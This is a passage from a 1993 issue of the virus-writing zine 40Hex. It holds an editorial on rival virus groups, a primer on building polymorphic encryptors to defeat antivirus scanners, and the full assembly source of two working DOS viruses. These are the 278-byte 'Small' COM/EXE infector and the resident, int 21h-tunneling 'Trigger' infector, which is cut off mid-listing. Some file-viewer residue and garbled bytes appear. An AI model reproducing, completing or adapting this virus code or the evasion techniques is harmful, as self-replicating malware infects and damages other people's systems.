5434 lines
188 KiB
Plaintext
5434 lines
188 KiB
Plaintext
40Hex Issue 11 Volume 3 Number 2 File 000
|
||
|
||
Welcome to 40Hex, the industry-standard virus information magazine,
|
||
brought to you by your friends at Phalcon/Skism, where our mottoes are
|
||
"We don't care" and "We write viruses until we're blue in the face and
|
||
green in the eyes." Once again, we continue to bring you only the best
|
||
in virus news, programming, and miscellaneous source code.
|
||
We welcome our newest member, Priest, who has written a number of
|
||
advanced viruses. The source code to one of his viruses, Predator, is
|
||
included in this issue.
|
||
Also in this issue is Dark Angel's Multiple Encryptor (DAME). This
|
||
is one of the more advanced polymorphic routines available. Since source
|
||
code is included, you'll probably see SPEW (Sweet Potato Encryption
|
||
Writer) coming soon to finer P0taT0 boards near you.
|
||
Well, enough ranting -- enjoy the magazine!
|
||
|
||
-)Gheap
|
||
|
||
File Description
|
||
0000.................This file, of course.
|
||
0001.................Today's Phalcon/Skism Gripe
|
||
0002.................Advanced Polymorphism Primer, Part 1
|
||
0003.................Phalcon/Skism Trigger Virus & DAME Source Code
|
||
0004.................Virus Censorship (Gripe Part II)
|
||
0005.................Virus Spotlite: Leech
|
||
0006.................Fun with System File Tables
|
||
0007.................SVC 5.0 disassembly
|
||
0008.................Predator Source Code
|
||
|
||
Greets to: NuKE, The Attitude Adjuster, Kenny C., Al, Bob, and our little
|
||
potato friends.
|
||
|
||
40Hex Issue 11 Volume 3 Number 2 File 001
|
||
|
||
Life, the Universe, and 40Hex
|
||
|
||
It is apparent to even the blindest of observers that the virus
|
||
phenomenon has caught on. Everyone and his kid brother has decided to start
|
||
a virus group, whether or not they have programmers capable of creating a
|
||
viable (read: parasitic) virus. While this in itself is merely offensive,
|
||
it is the sheer arrogance of these meta-groups which is irritating. Of
|
||
course, no names will be mentioned, as that would be mean and we all wish
|
||
for a happy world.
|
||
The most common trait of these pseudo-groups is for a member to state
|
||
that all code that was written was "developed on my own." Of course, this
|
||
is seldom the case. Often, the "original source code" to their viruses
|
||
clearly originated at some point from a Sourcer disassembly. Heck, when you
|
||
see "seg_a" or "loc_0027," you know they're just poor hacks. Of course, the
|
||
the disparate coding styles in the "source" also reveals the nature of the
|
||
virus.
|
||
And when the virus is listed as a Dark Avenger hack in various anti-
|
||
virus products, the individuals persist in their self-induced fantasies,
|
||
saying their viruses are original. I suppose the anti-virus programmers,
|
||
who have disassembled countless viruses, can't spot a Dark Avenger or Murphy
|
||
hack when they see one. Stop fooling yourselves.
|
||
And these mentally challenged persons continue, insisting routine X, a
|
||
"new, innovative technique," was developed independently. Yet anyone with
|
||
even a minimal exposure to virus source code can see traces of other viruses
|
||
in these routines. Even the ideas presented are seldom new; most having
|
||
already been implemented by existing viruses. The worst of these people
|
||
magnify all of their supposed accomplishments, talking of the revolutionary
|
||
changes they single-handedly effect.
|
||
Every group goes through a phase in which they hack viruses; they
|
||
should not be proud of these viruses. But it is merely the first step and
|
||
most grow out of it. Skism-1, for example, was a Jerusalem hack. It is
|
||
ancient history. I might also point out that the Phalcon/Skism viruses
|
||
published in both the last issue and this one are far superior to Skism-1.
|
||
Phalcon/Skism does not release the source code to half-baked viruses just so
|
||
40Hex can look larger. Every virus programmer has a few experimental
|
||
viruses; yet it is not necessarily appropriate to print all of them. If I
|
||
wrote a virus which had several hundred bytes of repetitious code, I would
|
||
be ashamed to print it. It's like releasing a program which has only been
|
||
half-completed.
|
||
When a virus programmer additionally claims, "This virus was written
|
||
two years ago, so it sucks, but I'm going to release it anyway because it's
|
||
good to learn from," I have my doubts. When s/he further hurridly states,
|
||
"My other viruses are better," then my doubts grow. Where, pray tell, are
|
||
these superior viruses? Why publish that which you admit sucks? Of course,
|
||
anyone that makes such a claim, or one such as, "Next time, I'll release a
|
||
COM/EXE/SYS/MBR/OV?/DAT/DOC/TXT/ANS/ASC polymorphic, stealth infector that I
|
||
wrote last week," is suspicious.
|
||
As an example of the mindless boasting, observe the following: (Note:
|
||
the following should not be construed as a personal attack against either
|
||
the person or group in question.)
|
||
This person wrote, "As with many of my routines, stuff which took many
|
||
other virus writers a few pages of code took me one page... that's not bad!
|
||
I have many other goodies up my sleeve, like a 387-byte generic COM/EXE
|
||
parasitic infector on execution, the smallest of its kind in the WORLD...
|
||
(with room for improvement!)."
|
||
Please do not boast if you cannot substantiate your claims. For
|
||
example, these claims are easily shredded by counterexample. Let us examine
|
||
the Voronezh-370 virus. It is a generic parasitic COM/EXE infector and it
|
||
is indeed less than 387 bytes. If 387 bytes is the smallest in the world,
|
||
then this may very well be the smallest in the universe. With only two
|
||
hours of fiddling, I came up with the following virus (278 bytes), which may
|
||
yet be the smallest of its kind in all of creation! Actually, I make no
|
||
such claim, as a smaller one _can_ be written. The point was to show that
|
||
this claim was not all that impressive and was, in fact, dead wrong. Let us
|
||
not be o'erhasty to boast next time.
|
||
As with many of my viruses, stuff which took many other virus writers
|
||
over 380 bytes took me under 280... that's not bad! Humour aside, I might
|
||
point out that this virus is _over_ 100 bytes less than the boaster's
|
||
attempt, so it is _significantly_ smaller. Gee, I wonder what those extra
|
||
109 bytes are used for.
|
||
|
||
-------------Cut here----------------
|
||
.model tiny
|
||
.code
|
||
.radix 16
|
||
.code
|
||
; Phalcon/Skism _Small virus
|
||
; Written by Dark Angel of Phalcon/Skism
|
||
; 278 byte generic COM/EXE infector
|
||
EXE_ID = -40
|
||
viruslength = heap - _small
|
||
startload = 90 * 4
|
||
|
||
_small:
|
||
call relative
|
||
oldheader dw 020cdh
|
||
dw 0bh dup (0)
|
||
relative:
|
||
pop bp
|
||
push ds
|
||
push es
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov es,ax
|
||
mov di,startload
|
||
cmp word ptr ds:[di+25],di
|
||
jz exit_small
|
||
|
||
lea si,[bp-3]
|
||
mov cx,viruslength
|
||
db 2Eh
|
||
rep movsb
|
||
|
||
mov di,offset old21 + startload
|
||
mov si,21*4
|
||
push si
|
||
movsw
|
||
movsw
|
||
pop di
|
||
mov ax,offset int21 + startload
|
||
stosw
|
||
xchg ax,cx
|
||
stosw
|
||
|
||
exit_small:
|
||
pop es
|
||
pop ds
|
||
|
||
or sp,sp
|
||
jnp returnCOM
|
||
returnEXE:
|
||
mov ax,ds
|
||
add ax,10
|
||
add [bp+16],ax
|
||
add ax,[bp+0e]
|
||
mov ss,ax
|
||
mov sp,cs:[bp+10]
|
||
jmp dword ptr cs:[bp+14]
|
||
returnCOM:
|
||
mov di,100
|
||
push di
|
||
mov si,bp
|
||
movsw
|
||
movsb
|
||
ret
|
||
|
||
infect:
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
|
||
mov ax,3d02
|
||
int 21
|
||
xchg ax,bx
|
||
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
|
||
mov si,offset oldheader+startload
|
||
|
||
mov ah,3f
|
||
mov cx,18
|
||
push cx
|
||
mov dx,si
|
||
int 21
|
||
|
||
cmp ax,cx
|
||
jnz go_already_infected
|
||
|
||
mov di,offset target + startload
|
||
push di
|
||
rep movsb
|
||
pop di
|
||
|
||
mov ax,4202
|
||
cwd
|
||
int 21
|
||
|
||
cmp ds:[di],'ZM'
|
||
jz infectEXE
|
||
|
||
sub ax,3
|
||
mov byte ptr ds:[di],0e9
|
||
mov ds:[di+1],ax
|
||
|
||
sub ax,viruslength
|
||
cmp ds:[si-17],ax
|
||
jnz finishinfect
|
||
go_already_infected:
|
||
pop cx
|
||
jmp short already_infected
|
||
|
||
int21:
|
||
cmp ax,4b00
|
||
jz infect
|
||
jmp short chain
|
||
|
||
infectEXE:
|
||
cmp word ptr [di+10],EXE_ID
|
||
jz go_already_infected
|
||
|
||
push ax
|
||
push dx
|
||
|
||
add ax,viruslength
|
||
adc dx,0
|
||
|
||
mov cx,200
|
||
div cx
|
||
|
||
or dx,dx
|
||
jz nohiccup
|
||
inc ax
|
||
nohiccup:
|
||
mov ds:[di+4],ax
|
||
mov ds:[di+2],dx
|
||
|
||
pop dx
|
||
pop ax
|
||
|
||
mov cx,10
|
||
div cx
|
||
|
||
sub ax,ds:[di+8]
|
||
|
||
mov ds:[di+14],dx
|
||
mov ds:[di+16],ax
|
||
|
||
mov ds:[di+0e],ax
|
||
mov word ptr ds:[di+10],EXE_ID
|
||
finishinfect:
|
||
mov ah,40
|
||
mov cx,viruslength
|
||
mov dx,startload
|
||
int 21
|
||
|
||
mov ax,4200
|
||
xor cx,cx
|
||
cwd
|
||
int 21
|
||
|
||
mov ah,40
|
||
mov dx,di
|
||
pop cx
|
||
int 21
|
||
already_infected:
|
||
mov ah,3e
|
||
int 21
|
||
exitinfect:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
chain:
|
||
db 0ea
|
||
heap:
|
||
old21 dw ?, ?
|
||
target dw 0ch dup (?)
|
||
|
||
endheap:
|
||
end _small
|
||
-------------------------------------
|
||
|
||
I think the informed virus and anti-virus person recognises these
|
||
claims as the baseless boasts they are. Let me assure you that you will see
|
||
none of that in 40Hex.
|
||
Finally, each new group proclaims to be the world's predominant virus
|
||
group. Each new group puts out a magazine. Each new group presents H/P/A
|
||
articles in their magazines. Let us go through each one step by step.
|
||
Hacking. Gee, can't you see the connection with viruses? Phreaking. Got
|
||
some c0deZ, d00d? Anarchy. Gee, I want total chaos even though I probably
|
||
couldn't survive such a situation. H/P/A aside, these "virus magazines" do
|
||
indeed contain some virus-related articles. Generally, these are of the
|
||
form "X virus is great, but we won't give source. X does this, it does
|
||
that, it is not a hack of Dark Avenger even though it scans as such." Some
|
||
articles give Sourcer disassemblies -- hardly commented, yet termed
|
||
disassemblies nonetheless. Finally, there are the programming articles
|
||
containing tips and tricks from the "masters." These often contain
|
||
nonworking code. These often contain factual errors. These often are
|
||
nothing but a waste of time.
|
||
Does this sound elitist? I hope not. Judge virus groups and their
|
||
magazines on their merits, not on their hype. Do not take a virus group's
|
||
word as gospel; it seldom reflects the truth. Instead, do some
|
||
investigation on your own and try to verify (or refute) their claims. You
|
||
may be surprised at the results. There is also no reason to immediately
|
||
condemn all anti-virus people as corrupt and "lame"; many are just ordinary
|
||
people "on the other side." The virus scene is becoming less innovative as
|
||
these new quasi-groups emerge. This apparent contradiction must end soon.
|
||
We ask all groups to end the self-back-patting and blatant lying and do some
|
||
real work.
|
||
Finally, a short summary of 40Hex is in order, for both new and old
|
||
readers alike. The paragraphs below show the current editorial stance and
|
||
opinion of 40Hex, which has evolved during the several years of its
|
||
existence. What holds true for 40Hex also applies to Phalcon/Skism.
|
||
|
||
40Hex is _not_ a magazine for self-congratulation. Although put out by
|
||
Phalcon/Skism, 40Hex serves as medium through which the public may hear the
|
||
voice of the informed virus community without magnification of either the
|
||
achievements or failures of any particular virus group or programmer.
|
||
Although the 40Hex staff offers opinions from the pro-virus standpoint,
|
||
40Hex is not an anti-anti-virus magazine. There is a clear distinction
|
||
between pro- and anti-anti-virus. 40Hex encourages anti-virus researchers
|
||
to contribute. 40Hex offers a fair, unbiased view except in editorials,
|
||
which obviously reflect the opinions of the authors.
|
||
40Hex _is_ purely a virus magazine -- none of that H/P/A/k-rad stuff.
|
||
Illegal and anarchistic activities are not condoned by 40Hex and, as such,
|
||
these topics are not appropriate for inclusion in the magazine. The public
|
||
distribution of quality virus source code and virus writing techniques, both
|
||
old and new, is one of the predominant goals of 40Hex, serving to inform
|
||
both the pro- and anti-virus community. The secondary function of the
|
||
magazine is to spread virus-related news. 40Hex is concerned more with
|
||
content than size. You know the old saw "Quality, not quantity." Other
|
||
magazines appear larger than they truly are because each article is padded
|
||
to 80 columns, effectively doubling its file length.
|
||
40Hex articles are _not_ mere rehashes of what has already been
|
||
printed. Other magazines have presented articles which closely mirror those
|
||
already published in 40Hex. Such poorly rewritten articles are neither
|
||
enlightening nor necessary.
|
||
40Hex is _not_ a tool with which people wreak havok upon others'
|
||
systems. This is simply an unfair view of the magazine. In fact, 40Hex is
|
||
against wanton destruction of computer systems. Viruses are so prevalent
|
||
nowadays that anyone can obtain them with little difficulty. They also need
|
||
not obtain 40Hex to be able to type "FORMAT C:" Knobs will be knobs.
|
||
40Hex _is_ a public forum, allowing those who take the time to write to
|
||
have their opinions published. We encourage all to send letters to 40Hex,
|
||
as they provide valuable insight into the virus and anti-virus communities
|
||
from a fresh perspective.
|
||
40Hex is _not_ inherently evil. What you choose to do with the
|
||
knowledge provided is your business.
|
||
|
||
Once again, 40Hex does not condone the illegal spread of viruses. Such
|
||
actions are frowned upon. Our stance has evolved over the years, so don't
|
||
bring up something from 40Hex-2 and cry hippocrite -- unless, of course, you
|
||
have a closed mind and absolutely nothing else to say.
|
||
|
||
-- Dark Angel
|
||
Phalcon/Skism
|
||
|
||
40Hex Issue 11 Volume 3 Number 2 File 002
|
||
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
ADVANCED POLYMORPHISM
|
||
PRIMER
|
||
PART THE FIRST
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
By Dark Angel
|
||
Phalcon/Skism
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
With the recent proliferation of virus encryption "engines," I was
|
||
inspired to write my own. In a few short weeks, I was able to construct one
|
||
such routine which can hold its own. A polymorphic encryption routine is
|
||
nothing more than a complex code generator. Writing such a routine, while
|
||
not incredibly difficult, requires careful planning and perhaps more than a
|
||
few false starts.
|
||
|
||
The utility of true polymorphism is, by now, an accepted fact.
|
||
Scanning for the majority of viruses is a trivial task, involving merely the
|
||
identification of a specific pattern of bytes in executable files. This
|
||
approach is quick and may be used to detect nearly all known viruses.
|
||
However, polymorphism throws a monkey wrench into the works. Polymorphic
|
||
viruses encode each copy of the virus with a different decryption routine.
|
||
Since (theoretically) no bytes remain constant in each generated decryption
|
||
routine, virus detectors cannot rely on a simple pattern match to locate
|
||
these viruses. Instead, they are forced to use an algorithmic appproach
|
||
susceptible to "false positives," misleading reports of the existence of the
|
||
virus where it is not truly present. Creating a reliable algorithm to
|
||
detect the polymorphic routine takes far more effort than isolating a usable
|
||
scan string. Additionally, if a virus detector fails to find even one
|
||
instance of the virus, then that single instance will remain undetected and
|
||
spawn many more generations of the virus. Survival, of course, is the
|
||
ultimate goal of the virus.
|
||
|
||
Before attempting to write a polymorphic routine, it is necessary to
|
||
obtain a manual detailing the 80x86 instruction set. Without bit-level
|
||
manipulation of the opcodes, any polymorphic routine will be of limited
|
||
scope. The nice rigid structure of the 80x86 instruction set will be
|
||
readily apparent after a simple perusal of the opcodes. Exploitation of
|
||
this structured instruction set allows for the compact code generation
|
||
routines which lie at the heart of every significant polymorphic routine.
|
||
|
||
After examining the structure of the opcodes, the basic organisation of
|
||
the polymorphic routine should be laid out. Here, an understanding of the
|
||
basics behind such routines is required. The traditional approach treats
|
||
the decryption routine as a simple executable string, such as
|
||
"BB1301B900022E8137123483C302E2F6." A true (advanced) polymorphic routine,
|
||
by contrast, views the decryption routine as a conceptual algorithm, such
|
||
as, "Set up a 'pointer' register, that is, the register whose contents hold
|
||
a pointer to the memory to be decrypted. Set up a counter register. Use
|
||
the pointer register to decrypt one byte. Update the pointer register.
|
||
Decrement the count register, looping if it is not zero." Two routines
|
||
which fit this algorithm follow:
|
||
|
||
Sample Encryption 1
|
||
------ ---------- -
|
||
mov bx,offset startencrypt ; here, bx is the 'pointer' register
|
||
mov cx,viruslength / 2 ; and cx holds the # of iterations
|
||
decrypt_loop:
|
||
xor word ptr [bx],12h ; decrypt one word at a time
|
||
inc bx ; update the pointer register to
|
||
inc bx ; point to the next word
|
||
loop decrypt_loop ; and continue the decryption
|
||
startencrypt:
|
||
|
||
Sample Encryption 2
|
||
------ ---------- -
|
||
start:
|
||
mov bx,viruslength ; now bx holds the decryption length
|
||
mov bp,offset start ; bp is the 'pointer' register
|
||
decrypt_loop:
|
||
add byte ptr [bp+0Ch],33h ; bp+0Ch -> memory location to be
|
||
; decrypted at each iteration
|
||
inc bp ; update the pointer register
|
||
dec bx ; and the count register
|
||
jnz decrypt_loop ; loop if still more to decrypt
|
||
|
||
The number of possibilities is essentially infinite. Naturally,
|
||
treating the decryption as an algorithm rather than as an executable string
|
||
greatly increases the flexibility in creating the actual routine. Various
|
||
portions of the decryption algorithm may be tinkered with, allowing for
|
||
further variations. Using the example above, one possible variation is to
|
||
swap the order of the setup of the registers, i.e.
|
||
|
||
mov cx,viruslength
|
||
mov bx,offset startencrypt
|
||
|
||
in lieu of
|
||
|
||
mov bx,offset startencrypt
|
||
mov cx,viruslength
|
||
|
||
It is up to the individual to decide upon the specific variations which
|
||
should be included in the polymorphic routine. Depending upon the nature of
|
||
the variations and the structure of the polymorphic routine, each increase
|
||
in power may be accompanied with only a minimal sacrifice in code length.
|
||
The goal is for the routine to be capable of generating the greatest number
|
||
of variations in the least amount of code. It is therefore desirable to
|
||
write the polymorphic routine in a manner such that additional variations
|
||
may be easily accommodated. Modularity is helpful in this respect, as the
|
||
modest overhead is rapidly offset by substantial space savings.
|
||
|
||
The first step most polymorphic routines undergo is the determination
|
||
of the precise variation which is to be encoded. For example, a polymorphic
|
||
routine may decide that the decryption routine is to use word-length xor
|
||
encryption with bx as the pointer register, dx as a container for the
|
||
encryption value, and cx as the counter register. Once this information is
|
||
known, the routine should be able to calculate the initial value of each
|
||
variable. For example, if cx is the counter register for a byte-length
|
||
encryption, then it should hold the virus length. To increase variability,
|
||
the length of the encryption can be increased by a small, random amount.
|
||
Note that some variables, in particular the pointer register, may not be
|
||
known before encoding the rest of the routine. This detail is discussed
|
||
below.
|
||
|
||
Of course, selecting the variables and registers will not in and of
|
||
itself yield a valid decryption routine; the polymorphic routine must also
|
||
encode the actual instructions to perform the job! The cheesiest
|
||
polymorphic routines encode a single "mov" instruction for the assignment of
|
||
a value to a register. The more complex routines encode a series of
|
||
instructions which are functionally equivalent to the simple three byte
|
||
"mov" statement yet far different in form. For example,
|
||
|
||
mov ax, 808h
|
||
|
||
could be replaced with
|
||
|
||
mov ax, 303h ; ax = 303h
|
||
mov bx, 101h ; bx = 101h
|
||
add ax, bx ; ax = 404h
|
||
shl ax, 1 ; ax = 808h
|
||
|
||
Recall that the registers should be encoded in a random order. The
|
||
counter variable, for example, should not always be the first to be encoded.
|
||
Predictability, the bane of polymorphic routines, must be avoided at all
|
||
costs.
|
||
|
||
After the registers are encoded, the actual decryption loop should then
|
||
be encoded. The loop can perform a number of actions, the most significant
|
||
of which should be to manipulate the memory location, i.e. the actual
|
||
decryption instruction, and to update the pointer register, if necessary.
|
||
Finally, the loop instruction itself should be encoded. This can take many
|
||
forms, including "loop," "loopnz," "jnz," etc. Possible variations include
|
||
altering the decryption value register and the counter register during each
|
||
iteration.
|
||
|
||
This is the general pattern of encoding. By placing garbling, or "do-
|
||
nothing," instructions between the essential pieces of code, further
|
||
variability may be ensured. These instructions may take many forms. If the
|
||
encoding routines are well-designed, the garbler can take advantage of the
|
||
pre-existing code to generate null instructions, such as assignments to
|
||
unused registers.
|
||
|
||
Once the decryption routine has been written, it is necessary to
|
||
encrypt the virus code. The traditional approach gives the polymorphic
|
||
routine the job of encrypting the code. The polymorphic routine should
|
||
therefore "remember" how the precise variation used by the decryptor and
|
||
adjust the encryption routine in a complementary fashion. An alternate
|
||
approach is for the polymorphic routine to simultaneously encode both the
|
||
encryption and decryption routines. Although it adds overhead to the code,
|
||
it is an extremely flexible approach that easily accommodates variations
|
||
which may be later introduced into the polymorphic routine.
|
||
|
||
Variable-length decryptors come at a significant trade-off; the exact
|
||
start of the decryption cannot be known before encoding the decryptor.
|
||
There are two approaches to working around this limitation. The first is to
|
||
encode the pointer register in a single instruction, i.e. mov bx,185h and to
|
||
patch the initial value once it is known. This is simplistic, though
|
||
undesirable, as it decreases the variability of the routine. An alternate
|
||
approach is to encode the encryption instruction in the form xor word ptr
|
||
[bx+185h], cx (as in Sample Encryption 2, above) instead of xor word ptr
|
||
[bx], cx (as in Sample Encryption 1). This increases the flexibility of the
|
||
routine, as the initial value of the pointer register need not be any fixed
|
||
value; correct decryption may be assured by adjusting the offset in the
|
||
decryption instruction. It is then possible to encode the pointer register
|
||
with multiple instructions, increasing flexibility. However, using either
|
||
method alone increases the predictability of the generated code. A better
|
||
approach would be to incorporate both methods into a single polymorphic
|
||
routine and randomly selecting one during each run.
|
||
|
||
As an example of a polymorphic routine, I present DAME, Dark Angel's
|
||
Multiple Encryptor and a simple virus which utilises it. They appear in the
|
||
following article. DAME uses a variety of powerful techniques to achieve
|
||
full polymorphism. Additionally, it is easy to enhance; both the encoding
|
||
routines and the garblers can be extended algorithmically with minimal
|
||
effort. In the next issue, I will thoroughly comment and explain the
|
||
various parts of DAME.
|
||
|
||
40Hex Issue 11 Volume 3 Number 2 File 003
|
||
|
||
Trigger Virus
|
||
|
||
This virus was written as a test virus for DAME, Dark Angel's Multiple
|
||
Encryptor. Trigger is a resident COM/EXE infector with tunneling capabilities.
|
||
When it executes, it traces down the int 21h chain until it finds the original
|
||
int 21h handler. It then inserts code to jump to the virus, which returns
|
||
control to the original int 21h handler after processing the request.
|
||
|
||
-- Dark Angel
|
||
Phalcon/Skism 1993
|
||
|
||
-begin trigger.asm-------------------------------------------------------------
|
||
.model tiny
|
||
.code
|
||
.radix 16
|
||
org 0
|
||
|
||
viruslength = (heap - entry)
|
||
virussizeK = (endvirus - entry + 3ff) / 400
|
||
virussizepara = (virussizeK)*40
|
||
|
||
EXE_ID = 'PS'
|
||
|
||
entry:
|
||
call past
|
||
next:
|
||
db 0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
|
||
db "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
|
||
db 0Dh,0A,0
|
||
|
||
checkstub db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63
|
||
|
||
past: cld
|
||
pop bp
|
||
|
||
mov ax,0cf0
|
||
mov bx,'DA'
|
||
int 21
|
||
cmp bx,'GH'
|
||
jnz no_trigger
|
||
trigger:
|
||
push ds
|
||
push es
|
||
|
||
push cs
|
||
pop ds
|
||
xor ax,ax
|
||
checkagain:
|
||
lea si,[bp+checkstub-next]
|
||
mov es,ax
|
||
xor di,di
|
||
mov cx,8
|
||
rep cmpsw
|
||
jz trigger_it
|
||
inc ax
|
||
cmp ax,0a000
|
||
jb checkagain
|
||
jmp exit_trigger
|
||
trigger_it:
|
||
mov [bp+patch-next],ax
|
||
mov ds,ax
|
||
mov byte ptr ds:73,0cbh
|
||
push bp
|
||
mov bp,-80
|
||
jmp short $+2
|
||
db 09a ; call far ptr
|
||
dw 1
|
||
patch dw ?
|
||
pop bp
|
||
mov byte ptr ds:73,1f
|
||
exit_trigger:
|
||
pop es
|
||
pop ds
|
||
jmp short restore
|
||
|
||
no_trigger:
|
||
mov ax,4b90
|
||
int 21
|
||
cmp ax,bx
|
||
jz restore
|
||
|
||
push ds
|
||
push es
|
||
|
||
mov ax,ds
|
||
dec ax
|
||
mov ds,ax
|
||
sub word ptr ds:3,virussizepara
|
||
sub word ptr ds:12,virussizepara
|
||
mov es,ds:12
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
xor di,di
|
||
lea si,[bp+offset entry-offset next]
|
||
mov cx,(viruslength + 1)/2
|
||
rep movsw
|
||
|
||
xor ax,ax
|
||
mov ds,ax
|
||
sub word ptr ds:413,virussizeK
|
||
|
||
mov di,offset oldint21
|
||
mov si,21*4
|
||
movsw
|
||
movsw
|
||
|
||
cli
|
||
|
||
pushf
|
||
pushf
|
||
pop ax
|
||
or ah,1
|
||
push ax
|
||
|
||
mov ds:1*4+2,es
|
||
mov word ptr ds:1*4,offset int1_1
|
||
|
||
popf
|
||
|
||
mov ah,30
|
||
pushf
|
||
call dword ptr ds:21*4
|
||
|
||
popf
|
||
|
||
lds si,dword ptr es:oldint21
|
||
mov di,si
|
||
lodsw
|
||
mov word ptr es:int21patch1,ax
|
||
lodsw
|
||
mov word ptr es:int21patch2,ax
|
||
lodsb
|
||
mov byte ptr es:int21patch3,al
|
||
|
||
push ds ; es:di->int 21 handler
|
||
push es
|
||
pop ds ; ds->high segment
|
||
pop es
|
||
|
||
mov al,0ea
|
||
stosb
|
||
mov ax,offset int21
|
||
stosw
|
||
mov ax,ds
|
||
stosw
|
||
sti
|
||
|
||
pop es
|
||
pop ds
|
||
|
||
restore:
|
||
cmp sp,-2
|
||
jnz restoreEXE
|
||
restoreCOM:
|
||
lea si,[bp+readbuffer-next]
|
||
mov di,100
|
||
push di
|
||
movsw
|
||
movsw
|
||
ret
|
||
restoreEXE:
|
||
mov ax,ds
|
||
add ax,10
|
||
add cs:[bp+readbuffer+16-next], ax
|
||
add ax,cs:[bp+readbuffer+0e-next]
|
||
mov ss,ax
|
||
mov sp,cs:[bp+readbuffer+10-next]
|
||
jmp dword ptr cs:[bp+readbuffer+14-next]
|
||
|
||
readbuffer dw 20cdh
|
||
dw 0bh dup (?)
|
||
|
||
int1_1:
|
||
push bp
|
||
mov bp,sp
|
||
push ax
|
||
|
||
mov ax, [bp+4] ; get segment
|
||
cmp ax, cs:oldint21+2
|
||
jae exitint1
|
||
mov cs:oldint21+2,ax
|
||
mov ax, [bp+2]
|
||
mov cs:oldint21,ax
|
||
exitint1:
|
||
pop ax
|
||
pop bp
|
||
iret
|
||
|
||
int1_2:
|
||
push bp
|
||
mov bp,sp
|
||
push ax
|
||
|
||
mov ax,cs
|
||
cmp ax,[bp+4]
|
||
jz exitint1
|
||
|
||
mov ax,[bp+4]
|
||
cmp ax,cs:oldint21+2
|
||
jnz int1_2_restore
|
||
|
||
mov ax,[bp+2]
|
||
cmp ax,cs:oldint21
|
||
jb int1_2_restore
|
||
sub ax,5
|
||
cmp ax,cs:oldint21
|
||
jbe exitint1
|
||
int1_2_restore:
|
||
push es
|
||
push di
|
||
cld
|
||
les di,dword ptr cs:oldint21
|
||
mov al,0ea
|
||
stosb
|
||
mov ax,offset int21
|
||
stosw
|
||
mov ax,cs
|
||
stosw
|
||
pop di
|
||
pop es
|
||
|
||
and [bp+6],0feff
|
||
jmp exitint1
|
||
|
||
install:
|
||
mov bx,ax
|
||
iret
|
||
int21:
|
||
cmp ax,4b90
|
||
jz install
|
||
|
||
push ds
|
||
push di
|
||
lds di,dword ptr cs:oldint21
|
||
mov word ptr ds:[di],1234
|
||
int21patch1 = $ - 2
|
||
mov word ptr ds:[di+2],1234
|
||
int21patch2 = $ - 2
|
||
mov byte ptr ds:[di+4],12
|
||
int21patch3 = $ - 1
|
||
pop di
|
||
pop ds
|
||
|
||
cld
|
||
|
||
cmp ax,4b00
|
||
jz infect
|
||
|
||
exitint21:
|
||
push ds
|
||
push ax
|
||
|
||
xor ax,ax
|
||
mov ds,ax
|
||
cli
|
||
mov word ptr ds:1*4,offset int1_2
|
||
mov ds:1*4+2,cs
|
||
sti
|
||
|
||
pushf
|
||
pop ax
|
||
or ah,1
|
||
push ax
|
||
popf
|
||
pop ax
|
||
pop ds
|
||
db 0ea
|
||
oldint21 dw 0, 0
|
||
|
||
callint21:
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
ret
|
||
|
||
already_infected:
|
||
pop dx
|
||
pop cx
|
||
mov ax,5701
|
||
call callint21
|
||
|
||
mov ah,3e
|
||
call callint21
|
||
exitnoclose:
|
||
mov ax,4301
|
||
pop dx
|
||
pop ds
|
||
pop cx
|
||
call callint21
|
||
|
||
exitinfect:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop bp
|
||
pop bx
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
jmp exitint21
|
||
|
||
infect:
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push bx
|
||
push bp
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
|
||
mov ax,4300
|
||
call callint21
|
||
push cx
|
||
push ds
|
||
push dx
|
||
|
||
mov ax,4301
|
||
xor cx,cx
|
||
call callint21
|
||
|
||
mov ax,3d02
|
||
call callint21
|
||
jc exitnoclose
|
||
xchg ax,bx
|
||
|
||
mov ax,5700
|
||
int 21
|
||
push cx
|
||
push dx
|
||
|
||
mov ah,3f
|
||
mov cx,18
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov dx,offset readbuffer
|
||
mov si,dx
|
||
call callint21
|
||
jc already_infected
|
||
|
||
mov di,offset writebuffer
|
||
mov cx,18/2
|
||
|
||
push si
|
||
push di
|
||
|
||
rep movsw
|
||
|
||
pop di
|
||
pop si
|
||
|
||
mov ax,4202
|
||
xor cx,cx
|
||
cwd
|
||
int 21
|
||
|
||
cmp word ptr [di],'ZM'
|
||
jnz infectCOM
|
||
|
||
infectEXE:
|
||
cmp readbuffer+10,EXE_ID
|
||
go_already_infected:
|
||
jz already_infected
|
||
|
||
mov ds:writebuffer+4,ax
|
||
mov ds:writebuffer+2,dx
|
||
|
||
mov cx,10
|
||
div cx
|
||
|
||
sub ax,ds:writebuffer+8
|
||
|
||
mov ds:writebuffer+14,dx
|
||
